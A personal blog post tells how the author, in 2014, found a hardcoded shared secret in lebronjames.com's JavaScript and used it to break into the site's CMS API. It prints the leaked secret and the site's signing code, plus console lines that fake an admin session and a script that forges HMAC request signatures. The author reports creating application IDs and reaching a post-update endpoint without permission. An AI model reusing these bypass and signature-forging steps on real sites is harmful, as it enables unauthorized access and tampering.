This is LeBron James. Youāve probably heard of him. Heās the most famous basketball player since Michael Jordan.
I stumbled into write access for his personal website at a pivotal moment in his career. I didnāt mean anything by it. I swear.
Weāre almost 10 years removed from that day. I finally pulled together the bravery to tell the story to the world.
Gather āround.
The Original Decision (2010)
Back in 2010, LeBron did something unprecedented. When his contract was up with the Cleveland Cavaliers, he didn't just make an announcement. He orchestrated a televised event on ESPN called "The Decision."
Cleveland loved LeBron. He'd taken the Cavs to the finals multiple times. We'd never won, but we had hope. Then, at the five-minute mark of this hour-long special, he said the words:
LEBRON: Um, in this fall, man, this is, this is very tough. Um, in this fall, Iām gonna take my talents to South Beach, and, um, join the Miami Heat.
JIM GRAY: Miami Heat? That was the conclusion you woke up with this morning?
LEBRON: That was the conclusion I woke up with this morning.
I'm from Cleveland, born and raised. We haven't won anything in sports in a long, long time.
So when this happened, you could hear the hearts breaking of every person in Cleveland, all at once.
LeBron moved to Miami. His new teammates threw parties. They took pictures. They looked happy.
And then they started winning. From 2011-2014, the Heat made the finals four years in a row.
Year | Champion | Coach | Result | Opponent | Opponent Coach |
2010 | Los Angeles Lakers (1) (31, 16ā15) | Phil Jackson | 4ā3 | Boston Celtics (4) (21, 17ā4) | Doc Rivers |
2011 | Dallas Mavericks (3) (2, 1ā1) | Rick Carlisle | 4ā2 | Miami Heat (2) (2, 1ā1) | Erik Spoelstra |
2012 | Oklahoma City Thunder (2) (4, 1ā3) | Scott Brooks | 1ā4 | Miami Heat (2) (3, 2ā1) | Erik Spoelstra |
2013 | San Antonio Spurs (2) (5, 4ā1) | Gregg Popovich | 3ā4 | Miami Heat (1) (4, 3ā1) | Erik Spoelstra |
2014 | San Antonio Spurs (1) (6, 5ā1) | Gregg Popovich | 4ā1 | Miami Heat (2) (5, 3ā2) | Erik Spoelstra |
They won championships in 2012 and 2013. He's such an incredible player that this one person pretty much determined the fate of the team he was on.
Meanwhile, in Cleveland
The Cavs dropped from first place in 2010 to dead last the next year. The baseball team was barely hanging on. Cleveland is a heavy sports town, but we just never had anything going in our direction.
Fast Forward to 2014
Four years of pain later, news broke: LeBron was opting out of his contract with the Miami Heat.
While not uncommon, people started speculating. Maybe, just maybe, he wouldn't stay with the Heat.
Rumors started swirling on Twitter:
The Investigation Begins
As a curious developer from Cleveland, I had to know. Was he coming home?
It was early afternoon on July 9, 2014. The announcement was expected around 6 PM. I had a few hours head start.
I'd heard rumors that some developer found clues in the CSS on LeBron's website about which team he'd chosen. Color palette hints. Team colors hidden in the stylesheets.
I had to verify this for myself.
I visited lebronjames.com, opened View Source, and started digging through the CSS.
@charset "utf-8";
/* CSS Document */
/* COLORS:
yellow: #fcb040
green: #056839
FONTS:
Open+Sans:300italic,400italic,600italic,700italic,800italic,400,700,800,300,600'
family=Oswald:400,700,300
*/
html {
position: relative;
min-height: 100%;
}
body {
font-family: 'Open Sans', sans-serif;
color: #DDD;
background-color: #211d1e;
margin: 0;
padding: 0;
}
.clear {clear: both;}No evidence of any team hex colors. The rumor seemed to be bullshit.
But then I noticed something else. There was inline JavaScript making GET requests to load blog posts. Two functions, loadManPosts() and loadPhilanthropistPosts(), both following the same pattern - hitting endpoints, processing results, dynamically building HTML.
Standard stuff, except for one detail: they were both calling this razorApi.ApiGet() method. What was razorApi?
<script type="text/javascript">
function loadManPosts() {
var path = 'shared/api/SitePost/Search';
var query = '?category=theman&author=&year=0&month=0&keyword=&featured=false&orderByField=PublishDate&orderByDesc=true&pageNumber=0&pageSize=9';
var oData = { pageSize: 0, pageNumber: 0 };
var success = function (result) {
$.each(result.Items, function (index, item) {
$('#ManPosts').append('<div class="lab_item"><a href="/post/' + item.Rewrite + '"><div class="hexagon hexagon2"><div class="hexagon-in1"><div class="hexagon-in2" style="background-image: url(\'' + item.AbsThumbImagePath + '\');"><span class="text-content"><span>' + item.Title + '<br /><br />' + razorHelpers.formatDate(item.PublishDate) + '</span></span></div></div></div></a></div>');
});
};
razorApi.ApiGet(path, query, false).done(success);
}
loadManPosts();
</script>
<script type="text/javascript">
function loadPhilanthropistPosts() {
var path = 'shared/api/SitePost/Search';
var query = '?category=thephilanthropist&author=&year=0&month=0&keyword=&featured=false&orderByField=PublishDate&orderByDesc=true&pageNumber=0&pageSize=9';
var oData = { pageSize: 0, pageNumber: 0 };
var success = function (result) {
$.each(result.Items, function (index, item) {
$('#PhilanthropistPosts').append('<div class="lab_item"><a href="/post/' + item.Rewrite + '"><div class="hexagon hexagon2"><div class="hexagon-in1"><div class="hexagon-in2" style="background-image: url(\'' + item.AbsThumbImagePath + '\');"><span class="text-content"><span>' + item.Title + '<br /><br />' + razorHelpers.formatDate(item.PublishDate) + '</span></span></div></div></div></a></div>');
});
};
razorApi.ApiGet(path, query, false).done(success);
}
loadPhilanthropistPosts();
</script>https://web.archive.org/web/20140606190649/http://www.lebronjames.com/
Down the API rabbit hole
I don't know about you, but as soon as I see the three letters API I get a little intrigued. I wondered what razorApi was, so I opened up the source file from which it was getting pulled into the inline script.
What I found was... interesting.
/*
FILE ARCHIVED ON 5:27:47 Jul 11, 2014 AND RETRIEVED FROM THE
INTERNET ARCHIVE ON 15:28:51 Sep 5, 2016.
JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE.
ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C.
SECTION 108(a)(3)).
*/
$.support.cors = true;
//var host = '/web/20140711052747/http://razorcms.azurewebsites.net/';
var host = '/web/20140711052747/http://lebronjames.azurewebsites.net/';
//var host = '/web/20140711052747/http://localhost:8181/';
var sharedSecret = '2980d8c5-5249-423f-89c1-566a255b5183';
var applicationId = '1';
var authPage = 'Default';
var redirectAfterLogin = '/Dev/Dash/Home';
var enableLoadingAnnimation = 1;A hardcoded shared secret. In client-side JavaScript. On a production website. This was the keys to the kingdom, just sitting there in plain text for anyone to read.
Looking closer at this JavaScript file, I saw some strange stuff going on.
Really strange.
There's weird commented-out code. An application ID hardcoded right there in the file. Lines of code you wouldn't expect to see just sitting in plain view.
At this point I'm still just assessing what's going on here.
Continuing down the razor.js file, there were a couple of API calls:
ApiGet: function (path, query, includeToken) {
var url = host + path + query;
startProcess();
return $.ajax({
url: url,
beforeSend: setHmacOptions(path, query, includeToken),
contentType: 'json',
dataType: 'json',
async: true
}).fail(failureCallback).always(alwaysCallback);
},
ApiPost: function (path, query, data, includeToken) {
var url = host + path + query;
if (path.indexOf('secured/api') != -1)
startProcess();
else
startProcessAlt();
return $.ajax({
url: url,
beforeSend: setHmacOptions(path, query, includeToken),
type: 'POST',
data: JSON.stringify(data),
contentType: 'application/json; charset=utf-8',
dataType: 'json',
async: true
}).fail(failureCallback).always(alwaysCallback);
},Interesting. Before making the good olā jQuery $.ajax call, what's startProcess do? And, more curiously, what did startProcessAlt do?
This suddenly became the most important task for me to work on for the day. No shot of getting anything else done. Every other browser tab closed. LeBron's decision could wait - I had to understand this system first.
I dug into the startProcess functions. Turns out they were basically identical - just different loading animations. A bit anticlimactic.
function startProcess() {
if (enableLoadingAnnimation == 1) {
openCalls = openCalls + 1;
}
if (uiBlocked == 0) {
uiBlocked = 1;
$.blockUI({
message: '<div class="loader"></div>',
baseZ: '1099',
css: {
border: 'none',
backgroundColor: 'transparent',
'z-index': '1100',
width: '20%',
left: '40%',
},
overlayCSS: {
backgroundColor: '#000',
opacity: 0.8,
cursor: 'wait'
}
});
}
}function startProcessAlt() {
if (enableLoadingAnnimation == 1) {
openCalls = openCalls + 1;
}
if (uiBlocked == 0) {
uiBlocked = 1;
$.blockUI({
message: '<h2>loading...</h2>',
baseZ: '1099',
css: {
border: 'none',
backgroundColor: 'transparent',
'z-index': '1100',
width: '20%',
left: '40%',
}
});
}
}
But why have two different functions for essentially the same thing? I looked back at where they were being called in the ApiPost function:
if (path.indexOf('secured/api') != -1)
startProcess();
else
startProcessAlt();Hmm. That's suspicious.
The public posts were coming from shared/api endpoints. So what kinds of requests would be coming from secured/api routes?
That's when I started wondering: who put this site together, anyway?
Finding the Help Docs
I visited humans.txt, a file historically used to share the team behind a web project. 404. Nothing there.
Then I visited robots.txt, which tells SEO search bots what they can and cannot index. It's usually boring stuff - "don't crawl my admin folder" type declarations.
This one was different.
So it's disallowing /helpdoc/ and /setup/. Interesting.
Why would you explicitly tell search engines not to index something if it was properly secured? That's like putting a "Keep Out" sign on an unlocked door.
I navigated to /helpdoc/ in my browser.
It loaded.
Holy shit. Unauthenticated access to complete internal API documentation.
Okay, hold on. Slow down. This canāt be that big of a deal, right?
I started parsing through the documentation, looking for any clue about how authentication worked. Maybe I could access a draft blog post that would share the big news before it went live...?
Understanding Authentication
Back in the JavaScript source, I found the logOn function. It was a cascade of nested callbacks. This kind of callback hell that makes modern developers cringe, but was unfortunately pretty common in 2014.
More importantly, it was a roadmap:
logOn: function (userName, password) {
if (userName == '' || password == '') {
razorAlert.alertError('Missing Username/Password');
return;
}
var success = function (msg) {
if (msg != null && msg != '') {
razorStorage.SaveLocalData('token', msg);
var success1 = function (msg1) {
razorStorage.SaveLocalData('userId', msg1);
razorStorage.SaveLocalData('userName', userName);
var success2 = function (msg2) {
razorStorage.SaveLocalData('userType', msg2);
var success3 = function (msg3) {
razorStorage.SaveLocalData('passwordStatus', msg3);
var success4 = function (msg4) {
razorStorage.SaveLocalData('userNameStatus', msg4);
var success5 = function (msg5) {
if (msg2 == 4) {
razorStorage.SaveLocalData('roles', JSON.stringify(msg5));
}
document.location.href = redirectAfterLogin;
};
getUserRoles().done(success5);
};
usernameStatus().done(success4);
};
passwordStatus().done(success3);
};
getUserType().done(success2);
};
getUserId().done(success1);
}
};
authenticateUser(userName, password).done(success);
},The storage implementation was straightforward:
var razorStorage = function () {
return {
ClearLocalData: function () {
sessionStorage.clear();
},
SaveLocalData: function (key, value) {
sessionStorage.setItem(key, value);
},
ExtractLocalData: function (key) {
return sessionStorage.getItem(key);
}
};
}();This was telling me exactly where the application saved response payloads. Despite the function being called SaveLocalData, it actually used sessionStorage under the hood. This must be where the application looks when determining if a session is active or inactive.
Bypassing the Login
So here's what I had figured out: the application checks session storage for specific keys to determine if you're logged in. No actual server-side session validation that I could see - just client-side checks.
I opened the browser console and started manually setting the values the application expected:
razorStorage.SaveLocalData('token', 'whatever');
razorStorage.SaveLocalData('roles', JSON.stringify({"Items": { "1": {"RoleID": 1}}}));The token could be anything - the application just checked if it existed. The roles object needed to have the right structure to grant admin access. I got this format from the help docs, which helpfully explained the exact JSON structure needed.
I refreshed the page.
The admin panel loaded.
Wait, seriously? That was it? No server validation? Just... trust whatever the client says?
Yes. That was it.
But there was a catch. I could see the admin UI shell, but when it tried to load actual data, nothing came back. The client-side code only checked if a token existed to decide whether to render the interface. But the actual API calls to fetch data still required valid authentication. The fake session got me to the UI, but I couldn't do anything with it.
I needed to understand how to make properly authenticated API requests. The cleanest way to test this would be from outside the browser - using Postman. That would require understanding how the API signatures worked.
Request Signing
The next piece of the puzzle was understanding how requests were authenticated. There was this setHmacOptions function that builds a hash or secret key that the server would recognize as an authentic token:
function setHmacOptions(path, query, includeToken) {
if (includeToken) {
var token = razorStorage.ExtractLocalData('token');
return function (xhr) { setHmacHeadersWithToken(xhr, path + query, token); };
}
else {
return function (xhr) { setHmacHeaders(xhr, path + query); };
}
}And here's what setHmacHeadersWithToken actually did:
function setHmacHeadersWithToken(xhr, url, token) {
var timestamp = getTimestamp();
var msg = url + timestamp + applicationId;
var hash = CryptoJS.HmacSHA256(msg, sharedSecret + token);
hash = CryptoJS.enc.Base64.stringify(hash);
xhr.setRequestHeader('Request-Signature', hash);
xhr.setRequestHeader('Request-Timestamp', timestamp);
xhr.setRequestHeader('Application-ID', applicationId);
xhr.setRequestHeader('Authorization-Token', token);
}So to build an authenticated request, I needed:
- The URL path
- A timestamp
- The application ID
- The shared secret (which was hardcoded in that JavaScript file)
- An optional(?) authorization token
Given all that information, I had everything I needed to forge authenticated requests.
Well, almost everything. I still didn't have actual login credentials. But did I need them?
I decided to write a really short script in a separate HTML file to test if I could generate valid request signatures. I downloaded the CryptoJS library (the same one lebronjames.com was using) and saved it locally:
<script src="crypto.js"></script>
<script>
var url = '/secured/api/ServiceAuth/getUserID';
var timestamp = '2014-07-10 00:45:37';
var app_id = '1';
var msg = url + timestamp + app_id;
var secret = '2980d8c5-5249-423f-89c1-566a255b5183';
var auth_token = 1;
var hash = CryptoJS.HmacSHA256(msg, secret + auth_token);
hash = CryptoJS.enc.Base64.stringify(hash);
document.write("Request-Signature: " + hash + '<br />');
console.log(hash);
</script>Once I had the signature, I needed to set these as headers in my Postman request:
Request-Signature: [the hash I generated]
Request-Timestamp: 2014-07-10 00:45:37
Application-ID: 1The First Successful Request
I made a request to identify what applications existed in this Razor CMS system. (Side note: I couldn't find any evidence of Razor CMS existing on GitHub or in any blog posts. It seemed like some obscure or custom system, which probably explained the security issues.)
I hit Send.
Waiting...
The response came back. 200 OK.
Holy shit. It actually worked. The application key in the response matched the hardcoded JavaScript file exactly.
The signature was valid. I had authenticated access from Postman.
I started getting a little sweaty at this point. This had gone from "fun detective work" to "oh shit, this is actually working."
The hardcoded applicationId in the JavaScript was '1'. But what if there were others?
I started trying different values. First '0'. It responded.
Out of curiosity, I got bolder. What if I tried to create a new application ID with a PUT request?
I set up the request and hit Send.
It worked.
Wait, what? I could just... create new application IDs? At will?
Now that I could make authenticated requests, the first thing I wanted to check was whether there were any draft blog posts. Maybe LeBron's team had already written the announcement and it was just sitting there unpublished, waiting for the right moment?
I made a request to the blog posts endpoint, filtering for drafts.
Nothing. No draft posts about his decision. Either they hadn't written it yet, or they were keeping it somewhere else entirely.
The Moment of Truth
I took all of that information and built one more request in Postman. The /secured/api/SitePost/Update endpoint.
If this worked, I could create or modify blog posts on LeBron's website.
I tried a GET request first.
"The requested resource does not support http method 'GET'."
Not "unauthorized." Not "forbidden." It was telling me my authentication was valid, but GET wasn't the right method for this endpoint.
Of course. This is an Update endpoint. Updates need PUT or POST.
I changed the method to PUT.
The cursor hovered over the Send button.
Outside my window, somewhere in Cleveland, people were refreshing lebronjames.com obsessively, waiting for news. Sports analysts were speculating on TV. Twitter was going wild with rumors.
And here I was, one click away from being able to announce whatever I wanted on his website.
The decision
The answer to the question everybody wants to know: Dave, what is your decision?
Man, this is tough.
I didn't do it.
I didn't click Send.
I sat there for a while, cursor hovering, thinking through what would happen if I did. I was terrified. I'm not a millionaire. One lawsuit would end me. And this wasn't some gray-area vulnerability - I had write access to one of the most watched websites on the internet at one of the most watched moments in sports history.
The thing is, with this information, I could have created a new blog post on LeBron's website. I could have announced anything.
He was retiring. He was going to play football. He was making a huge investment in Bitcoin. Literally whatever, and it would have had nationwide coverage within minutes.
But I closed Postman. Closed all the browser tabs. And went back to refreshing lebronjames.com like everyone else.
Should I have reported this vulnerability? Probably. Maybe? But I was a young developer, scared of the legal implications, and frankly didn't know who to contact or how. This wasn't a professional operation with a security team and a responsible disclosure policy. It was LeBron's personal website, apparently running on some obscure CMS I'd never heard of. Who would I even email?
Mostly, I was just curious. I wanted to understand how it worked. And once I understood, the ethical thingāthe scared thingāwas to just... walk away.
The Actual Announcement
Hours later, LeBron announced his decision in a Sports Illustrated article titled "I'm Coming Home.ā
He was returning to Cleveland.
Meanwhile, there were all these people on Twitter sharing their "web developer analysis" of the situation:
x.com
They claimed they found evidence in a CSS file showing a color palette representing Cleveland's team colors.
But it absolutely did not exist. I had literally spent hours in that CSS file earlier that day, looking for exactly that. There were no Cleveland team colors hidden in the code. It was pure speculation that somehow got reported as fact, spreading across Twitter like wildfire.
The irony wasn't lost on me - here were all these people analyzing the wrong thing, while I'd been sitting on actual write access to the site.
This one tweet did resonate with me though:
"LeBron's website still has him in a Heat jersey. It's almost like the webmaster for the site didn't know"
Narrator: The webmaster, in fact, did not know.
When I checked the site again a few hours later, the help docs I'd been reading were nowhere to be found. Someone had finally locked down that /helpdoc/ directory. I like to think it was because they noticed someone (me) poking around in their logs. Or maybe they just finally got around to securing it. Either way, the window had closed.
The promise fulfilled
LeBron came back home to Cleveland. And in 2016, he did what he said he would do - he brought a championship trophy home to Cleveland. Our first major sports championship in 52 years.
Just like when he joined Miami, his return to Cleveland immediately changed the team's fate. The Cavs made the finals four years in a row from 2015-2018, winning it all in 2016.
Year | Champion | Coach | Result | Opponent | Opponent Coach |
2015 | Golden State Warriors (1) (7, 4ā3) | Steve Kerr | 4ā2 | Cleveland Cavaliers (2) (2, 0ā2) | David Blatt |
2016 | Golden State Warriors (1) (8, 4ā4) | Steve Kerr | 3ā4 | Cleveland Cavaliers (1) (3, 1ā2) | Tyronn Lue |
2017 | Golden State Warriors (1) (9, 5ā4) | Steve Kerr | 4ā1 | Cleveland Cavaliers (2) (4, 1ā3) | Tyronn Lue |
2018 | Golden State Warriors (2) (10, 6ā4) | Steve Kerr | 4ā0 | Cleveland Cavaliers (4) (5, 1ā4) | Tyronn Lue |
I didn't announce LeBron's decision on his website. But I was there, in the code, in that brief moment when I could have. And sometimes I still think about what would have happened if I'd clicked Send. If I brought home the trophy.
Years later, LeBron himself admitted he regretted how he handled The Decision. "If I had to go back on it, I probably would do it a little bit different."
I'm glad I didn't give him one more thing to regret.
The site was eventually rebuilt on an entirely different stack. The Razor CMS never made it to production long-term - probably for good reason. Sometimes I wonder if anyone on LeBron's team ever noticed the security issues, or if they just moved on for other reasons. Either way, that window of vulnerability closed, and the story became just another "what if" in my personal history.
https://web.archive.org/web/20140709023721/http://www.lebronjames.com//